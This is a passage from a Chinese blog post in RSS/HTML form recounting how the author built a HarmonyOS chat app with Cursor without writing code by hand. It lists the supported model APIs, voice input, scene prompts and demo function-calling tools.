leaf="">然后把对应的代码cp到我们的项目结构下，然后告诉Cursor帮你调用实现语音输入的功能即可！（这种需要整体调用记得@codebase），不过使用测试这个语音效果肯定是不如小艺的，小艺有个识别后自动纠错的功能，这个目前是不具备的，不过对于我这个项目来说基本足够了！另外这个语音输入因为是直接CP过来的代码，在后续的修改了最好不要让Cursor的修改到这部分代码，要不然会出现很多莫名其妙的问题，尤其是线程相关的问题！（这个时候如果你发现不是你代码的问题你可能需要重启下手机）</span></p><p><span leaf="">可以看出来，在我这个“行为艺术”行动中，标准还是很低的，就是我真机能跑就行！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">[项目功能介绍]</span></span></p><p><span leaf="">前面说了那么多，好像还没有整体描述下我这个项目都做了啥</span></p><p><span leaf="">1、API的支持</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span leaf=""><span class="code-snippet__plaintext">* Ollama </span></span></code><code><span leaf=""><span class="code-snippet__plaintext">* LM Sudio </span></span></code><code><span leaf=""><span class="code-snippet__plaintext">* Gemini </span></span></code><code><span leaf=""><span class="code-snippet__plaintext">* Nvidia</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">* DeepSeek</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">* Grok</span></span></code></pre></section><p><span leaf="">至于为什么是这些API因为他们基本都有免费额度使用，这里体系下Grok的API比较坑，你获取模型list都算使用额度，我的项目是需要启动加载这些API支持的模型list，每次启动就会消费Grok的额度，所以我啥事都没干，免费额度就用完了！最好的方法就是直接定义支持的模型就行。当然LM Sudio、Ollama不存在额度问题，得先加载模型list比较通用</span></p><p><span leaf="">2、支持语音识别输入</span></p><p><span leaf="">3、支持多模型选择对话、支持上下文关联连续对话</span></p><p><span leaf="">4、支持场景提示词（这个就是提示词工程，国内平台一般管这个就称呼为“智能体”）</span></p><p><span leaf="">可以编辑场景、创建场景、是否支持工具等</span></p><p><span leaf="">5、目前LM Sudio支持Function Calling的工具</span></p><p><span leaf="">做了三个工具做演示：获取当前日期/时间、md5hash编码、ZoomEye查询</span></p><p><span leaf="">为什么是LM Sudio 因为他兼容OpenAI Function Calling的API格式，ollama兼容没有那么好！当然现在这个工具的支持会影响到上下文关联等问题，核心主要还是提示词太混乱，然后本地大模型本身能力的问题，因为这里涉及到工具需要提示词+场景的提示词+历史对话的提示词，这个问题估计不太好解决，只能降低标准了！</span></p><p><span leaf="">为了方便直观感受还是看演示视频吧</span></p><section class="channels_iframe_wrp" nodeleaf=""><mp-common-videosnap class="js_uneditable custom_select_card channels_iframe videosnap_video_iframe videosnap_video_iframe" data-pluginname="mpvideosnap" data-url="https://findermp.video.qq.com/251/20304/stodownload?encfilekey=rjD5jyTuFrIpZ2ibE8T7Ym3K77SEULgkiaFQ7ol7HcCibQf3AJDzicF2awbuVelbLjkKyo6kJ9xN3MlpeUjfsaanGvWjRSzNeh7ha7DIGj0zsI0icooeEBzia5iaw&amp;token=ic1n0xDG6awibdzrMY6dABCCZubSzJLmTz8w8vFJBee24954r9zxC6Micq0XHibjF60z5Xmz3b1uw0xV2799ibErfKw0HibZxnmZTialeIQkR1IFWwZKaDSlPrt2p7AP9kOYmcsUbN8LasE8AuZRzX3VJevrZ8SjHfIlAnqjm3wic3r6ClE&amp;idx=1&amp;hy=SZ&amp;m=&amp;scene=2&amp;uzid=2" data-headimgurl="http://wx.qlogo.cn/finderhead/PiajxSqBRaEJ6RrNWsWsDOdo8rrB5tIVpLwo7bs1QicW1JJSFKoicM6PA/0" data-username="v2_060000231003b20faec8c7e58b1acad1cc03e43db077a493d0b149896a55cf9d4ba766487eb1@finder" data-nickname="黑哥虾撩" data-desc="从0基础到纯血鸿蒙APP开发实战 使用Cursor开发的鸿蒙Next的APP" data-nonceid="11495715376877253058" data-width="1080" data-height="2328" data-type="video" data-id="export/UzFfAgtgekIEAQAAAAAA2CMlFfoZpQAAAAstQy6ubaLX4KHWvLEZgBPEooN4JX0tCOuJzNPgMIuoINF4xSMcWwfiDMCx1PIA"></mp-common-videosnap></section><p><span leaf="">当然这个距离真正能发布的产品其实还是比较粗糙的，不过到目前为止这些功能对于我来说已经是够用了! 还有一个问题就是我留意到社区很多人有个疑问：就是纯AI开发的项目，后期怎么维护呢？其实在我这个项目里，我觉得还是很好维护的，不用去关注具体的代码，去关注本身的功能及bug修复即可（当然注意约束，不要瞎改），最后这个代码对于有洁癖的程序员或者开发者来说肯定是不忍直视的，我记得前段时间我卧底在一个开发者群里，看到一哥们做直播演示都是手动写代码，而不是我这种纯提示词，忍不住问了下他。他的回答就是说他有洁癖，AI写的还不如他自己直接写...</span></p><p><span leaf="">而很多开发高手基本上都有洁癖的！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">最后</span></span></p><p><span leaf="">至于这个项目的代码就不发了，核心还是得自己动手体验，全程我都没写过一行的代码，不过其间因为代码错误实在Cursor现在修复不了我就删除了几行代码 ...</span></p><p><span leaf="">所以大模型时代不是取代，而是让更多的可能变成现实。</span></p><p><span leaf="">你需要就是“Accept”[拥抱AI]，然后“Run”起来[整就牛] ！</span></p><p><span leaf=""><br/></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484330">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d49bc447&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484330%26idx%3D1%26sn%3Da17447ffd6c859e14d05adf61f76f1ea%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 06 Jan 2025 15:59:00 +0800</pubDate>
    </item>
  </channel>
</rss>